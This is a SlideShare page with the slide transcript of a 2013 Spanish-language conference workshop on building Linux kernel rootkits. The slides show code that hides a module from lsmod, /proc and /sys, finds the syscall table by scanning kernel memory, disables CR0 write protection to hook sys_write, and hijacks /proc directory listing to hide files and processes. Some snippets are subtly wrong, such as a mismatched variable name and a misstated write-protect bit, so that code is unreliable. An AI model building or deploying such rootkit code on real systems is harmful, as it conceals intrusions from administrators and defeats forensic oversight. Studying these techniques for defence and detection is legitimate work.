Desarrollo de rootkits en Linux [GuadalajaraCON 2013]
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Desarrollo de rootkits en Linux [GuadalajaraCON 2013]

on

  • 1,374 views

En este taller práctico aprenderemos a desarrollar módulos de Kernel que funcionen como rootkits. Al final del taller el participante podrá mostrar un pequeño rootkit que funcione como keylogger. ...

En este taller práctico aprenderemos a desarrollar módulos de Kernel que funcionen como rootkits. Al final del taller el participante podrá mostrar un pequeño rootkit que funcione como keylogger. Entenderá y desarrollara técnicas para ocultarse y métodos anti-forenses.
Objetivo Principal:
Aprender las técnicas de desarrollo de Rootkits
Objetivos Secundarios:

Conocer las características del Kernel.
Aprender a generar módulos de Kernel
Conociendo algunas téncias (VFS Hijacking, Syscall Hijacking, StructTask Hijack, Infecting LKM’s)

Temario

Introducción a los Rootkits
Introducción a los Módulos de Kernel
Consideraciones de Programación
Parámetros de Módulos
Estructuras del Kernel
Hijacking

Prácticas

El módulo “Hello World”
Manejando Parámetros en el módulo.
Trabajando con la task_struct
Escondiendo módulos
Hijacking de /proc
Hijacking de syscall
Creando de un keylogger

Requisitos:

Conocimientos medios en C
Manejo básico/medio de linux
Una PC/Laptop con VirtualBox (Se entregará a cada participante una imágen con Debian 64Bits para que comiencen a desarrollar).

Statistics

Views

Total Views
1,374
Views on SlideShare
548
Embed Views
826

Actions

Likes
5
Downloads
15
Comments
0

1 Embed 826

http://www.guadalajaracon.org 826

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Desarrollo de rootkits en Linux [GuadalajaraCON 2013] Presentation Transcript

  • 1. Building Basics RootkitsBuilding Basics RootkitsAttack StrategiesNataS::: The Lord of ChaosMarcos Ricardo Schejtman Rubio18 de Abril de 2013
  • 2. Building Basics RootkitsContents1 Introducci´on¿Qu´e es un Rootkit?Tipos de RootkitsFunciones Comunes de Rootkits2 Manos a la ObraConsideracionesPrimeros PasosEjercicio: Hello World ModuleManejando Parametros3 T´opicos AvanzadosTrabajando con la Estructura de TareasEscondiendo nuestros pasos
  • 3. Building Basics RootkitsIntroducci´on¿Qu´e es un Rootkit?¿Qu´e es un Rootkit?Un rootkit (seg´un Wikipedia), se puede definir como:Un programa que permite un acceso de privilegiocontinuo a una computadora pero que mantiene supresencia activamente oculta al control de losadministradores al corromper el funcionamiento normaldel sistema operativo o de otras aplicaciones.
  • 4. Building Basics RootkitsIntroducci´onTipos de RootkitsTipos de RootkitsPracticamente podemos hablar de dos tipos de rootkits:1 Rootkits en Espacio de Usuario, Los cuales corren enRing-3, y modifican librer´ıas, o archivos de configuraci´on, einclusive ejecutables (ls, ps, etc).2 Rootkits en Espacio de Kernel, Los cuales corren enRing-0, y modifican estructuras del kernel, atrapan llamadasde sistema (hijacking syscall-table), etc. Podemos tenerloscomo LKM’s o como patch al kernel corriendo /dev/kmem
  • 5. Building Basics RootkitsIntroducci´onFunciones Comunes de RootkitsFunciones Comunes de RootkitsEsconder ProcesosEsconder ArchivosEsconder Conexiones de RedBackdoorsKeyloggersDarnos acceso a root
  • 6. Building Basics RootkitsManos a la ObraConsideracionesConsideracionesLas diferencias m´as importantes entre un desarrollo a n´ıvel kernel oespacio usuario son:El kernel carece de protecci´on de memoria... algo que seofrece en el espacio de usuario.El kernel no puede ejecutar de manera sencilla operaciones enpunto flotante.El kernel tiene un espacio en pila muy reducido por proceso.Debido a la naturaleza as´ıncrona de las interrupciones delkernel, la concurrencia es de los temas a poner mas ´enfasis aldesarrollar (Race-Conditions).La portabilidad... entre versi´on y versi´on de n´ucleo.
  • 7. Building Basics RootkitsManos a la ObraPrimeros PasosPrimeros PasosAlgunas Macros importantes:module init();module exit();MODULE LICENSE(”GPL”);MODULE AUTHOR(”NataS”);MODULE DESCRIPTION(”My LKM”);
  • 8. Building Basics RootkitsManos a la ObraEjercicio: Hello World ModuleHello World#include <linux/init.h>#include <linux/module.h>#include <linux/kernel.h>static int hello_init(void) {printk(KERN_ALERT "Hello GuadalajaraCon! My first LKM.n");return 0;}static void hello_exit(void) {printk(KERN_ALERT "Goodbye GuadalajaraCon!n");}module_init(hello_init);module_exit(hello_exit);MODULE_LICENSE("GPL");MODULE_AUTHOR("NataS");MODULE_DESCRIPTION("My First LKM");
  • 9. Building Basics RootkitsManos a la ObraEjercicio: Hello World ModuleHello WorldNuestro Makefile:obj-m := modulo.oY Compilamos como:make -C /lib/modules/$(uname -r)/buildSUBDIRS=$PWD modulesCargamos nuestro m´oduloinsmod modulo.koListamos nuestro m´odulolsmod | grep moduloEliminamos nuestro m´odulormmod modulo.ko
  • 10. Building Basics RootkitsManos a la ObraManejando ParametrosManejando ParametrosLos par´ametros se mandan cuando arrancamos el m´odulo de laforma:insmod modulo param1=valor1 param2=valor2Para definir los par´ametros, primero declaramos variables y laspasamos a la macro:module_param(nombre, tipo, permisos)module_param_string(nombre,variable, longitud, permisos);Permisos son los definidos en sysfs, y afectan las entradas delmodulo en /sys/module
  • 11. Building Basics RootkitsManos a la ObraManejando ParametrosEjercicio: Name and Agestatic char myName[50];module_param_string(name, myName, 50, 0);static int age = 1;module_param(age, int, 0);...printk(KERN_ALERT "Hi! %s, your age: %i", myName, age);
  • 12. Building Basics RootkitsT´opicos AvanzadosTrabajando con la Estructura de TareasTrabajando con la Estructura de TareasEl kernel de linux contiene una lista enlazada (definida eninclude/linux/types.h e include/linux/list.h) de tareas, las cualesson una estructura declarada en include/linux/sched.h.
  • 13. Building Basics RootkitsT´opicos AvanzadosTrabajando con la Estructura de TareasTrabajando con la Estructura de TareasDesde el kernel tenemos acceso directo a la lista de tareas(task struct), la cual es una lista doblemente enlazada ¿A´unrecuerdan sus clases de programaci´on? Para acceder a la estructuraque contiene informaci´on sobre nuestro proceso, basta con haceruso del puntero current#include <linux/sched.h>#include <asm/current.h>static int hello_init(void) {printk(KERN_ALERT "My Name --> %s and PID -->%i n", current->comm, current->pid);return 0;}
  • 14. Building Basics RootkitsT´opicos AvanzadosTrabajando con la Estructura de TareasEjercicio: Get my PID and all othersUsando los c´odigos anteriores... Recorran la lista de tareas y pintencada proceso y su PID. Con este acceso pueden intentar esconderun proceso tambi´en:
  • 15. Building Basics RootkitsT´opicos AvanzadosEscondiendo nuestros pasosHidding Ver.1El kernel maneja un lista enlazada en la cual, mantiene lareferencia de todos los m´odulos que est´an cargados (lsmod y/proc leen dicha lista).Esconder nuestro m´odulo es muy sencillo, en la funci´on deinicio del m´odulo basta con eliminar la referencia de la lista:list_del(&THIS_MODULE->list);Dos problemas con esta primer aproximaci´on:1 A´un somos detectables desde /sys2 Al hacer un unload del m´odulo, debido a que no existe en lalista, se provoca un Oops que genera un kernel panic o crashdel sistema, dejando rastros.
  • 16. Building Basics RootkitsT´opicos AvanzadosEscondiendo nuestros pasosEjercicio: Hide myselfNos escodemos:static int hide_init(void) {printk(KERN_ALERT "Hello World! My first LKM.n");printk(KERN_ALERT "Let’s get hide myself.n");list_del(&THIS_MODULE->list);return 0;}Nos buscamoslsmod | grep modulocat /proc/modules | grep moduloNos Encontramosls /sys/module/modulo
  • 17. Building Basics RootkitsT´opicos AvanzadosEscondiendo nuestros pasosHidding. Ve2Cada entrada en /sys es un objeto module kobject (definidoen module.h) que internamente tienen una estructura del tipokobject (definido en kobject.h).Examinando el c´odigo del kernel, vemos que en la descarga delm´odulo, primero debemos eliminarnos de /sys yposteriormente de la vista.Hay que tomar en cuenta, que el kernel no libera objetos queest´en iniciados a NULLRecomendaciones:1 Recordar informaci´on previa (prev y next en la lista).2 Sobreescribir readproc y writeproc3 Funciones est´aticas para no dejar rastros en /proc/kallsyms
  • 18. Building Basics RootkitsT´opicos AvanzadosEscondiendo nuestros pasosEjercicio: Find Me if You canstatic inline void hideme(void) {list_del(&THIS_MODULE->list);kobject_del(&THIS_MODULE->mkobj.kobj);list_del(&THIS_MODULE->mkobj.kobj.entry);kfree(THIS_MODULE->notes_attrs);THIS_MODULE->notes_attrs = NULL;kfree(THIS_MODULE->sect_attrs);THIS_MODULE->sect_attrs = NULL;kfree(THIS_MODULE->mkobj.mp);THIS_MODULE->mkobj.mp = NULL;THIS_MODULE->modinfo_attrs->attr.name = NULL;kfree(THIS_MODULE->mkobj.drivers_dir);THIS_MODULE->mkobj.drivers_dir = NULL;}Ahora... busquemos el m´odulo
  • 19. Building Basics RootkitsT´opicos AvanzadosEscondiendo nuestros pasosDinamyc HijackingLa direcci´on de la sys call table, puede ser encontrada en el archivoSystem.map-$(uname -r) ¿Que ocurre cuando ya no existe esearchivo?El rango de memoria del kernel en arquitecturas X86 es del0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call tablebasta con buscar hasta la 0xd0000000 ¿porque?CONFIG HIGHMEM.Para x86 64 podemos encontrar el inicio de la memoria del kernelen 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,es de destacar que igual que en la arquitectura de 32Bits, nodebemos iterar todas las direcciones, basta iterar hasta0xffffffff81ffffff.Finalmente... solo basta comparar alguna sys call cuyos s´ımbolos seexporten, sys close por ejemplo.
  • 20. Building Basics RootkitsT´opicos AvanzadosEscondiendo nuestros pasosDinamyc Hijacking#if defined __x86_64__#define START_MEM 0xffffffff81000000#define END_MEM 0xffffffff81ffffff#else#define START_MEM 0xc0000000#define END_MEM 0xd0000000#endifunsigned long **find_syscalltable() {unsigned long **syscalltable;unsigned long int i = START_MEM;while ( i < END_MEM) {sctable = (unsigned long **)i;if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {return &syscalltable[0];}i += sizeof(void *);}return NULL;}
  • 21. Building Basics RootkitsT´opicos AvanzadosEscondiendo nuestros pasosDinamyc HijackingPero la sys call table esta protegida contra escritura ¿o no? Existendiferentes registros de procesador, el que nos interesa es el cr0. Elkernel nos da dos funciones para manipular este registro: write cr0y read cr0.El Bit 0 de este registro maneja el Protected Mode, por ello sellama WP bit. Solo basta modificar este bit antes y despu´es delhijackingwrite_cr0 (read_cr0 () & (~ 0x10000));printk(KERN_ALERT "nWrite Protection Disabled XD");original_write = (void *)syscall_table[__NR_write];syscall_table[__NR_write] = new_write;write_cr0 (read_cr0 () | 0x10000);printk(KERN_ALERT "nWrite Protection Enabled");/*0X10000 --> 000...010000000000000000~(0X10000) --> 111...101111111111111111*/
  • 22. Building Basics RootkitsT´opicos AvanzadosEscondiendo nuestros pasosHijacking SyscallInterrupciones a llamadas de sistema se usan para evitar accesos aprocesos o archivos generados por nosotros.syscall natas_open(pathname, flags, mode) {if (XXX==XXX)call open(pathname, flags, mode)elseprintf("Not found");}
  • 23. Building Basics RootkitsT´opicos AvanzadosEscondiendo nuestros pasosHijacking VFSInterrupciones a llamadas de sistema se usan para evitar accesos aprocesos o archivos generados por nosotros.syscall natas_lookup(parent_directory,pathname, ...) {if (XXX==XXX)call real_lookup(parent_directory,pathname, ...)elseprintf("Error");}
  • 24. Building Basics RootkitsT´opicos AvanzadosEscondiendo nuestros pasosHijacking VFSstruct inode *pinode;const struct file_operations *proc_original;static struct file_operations proc_fops;void hook_proc(struct proc_dir_entry *root) {struct path proc_path;if (kern_path("/proc/",0,&proc_path))return;pinode = proc_path.dentry->d_inode;if(!pinode)return;proc_fops = *pinode->i_fop;proc_original = pinode->i_fop;proc_fops.readdir = natas_lookup;pinode->i_fop = &proc_fops;}
  • 25. Building Basics RootkitsReferenciasReferenciasDesigning BSD Rootkits, Joseph KongLinux Kernel Development, Robert LoveWriting Kernel Exploits Paper, Keegan MacAllisterLinux Kernel Crash Book, Igor LjubuncicThe Rootkits Arsenal, Reverend Bill Blunden
  • 26. Building Basics RootkitsThe EndThanks—————————————————————————–Autor: Marcos Ricardo Schejtman RubioE-Mail: natashell@esdebian.orgE-Mail: natas@ohkasystems.comTwitter: @natashell6665EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537LATEX para todos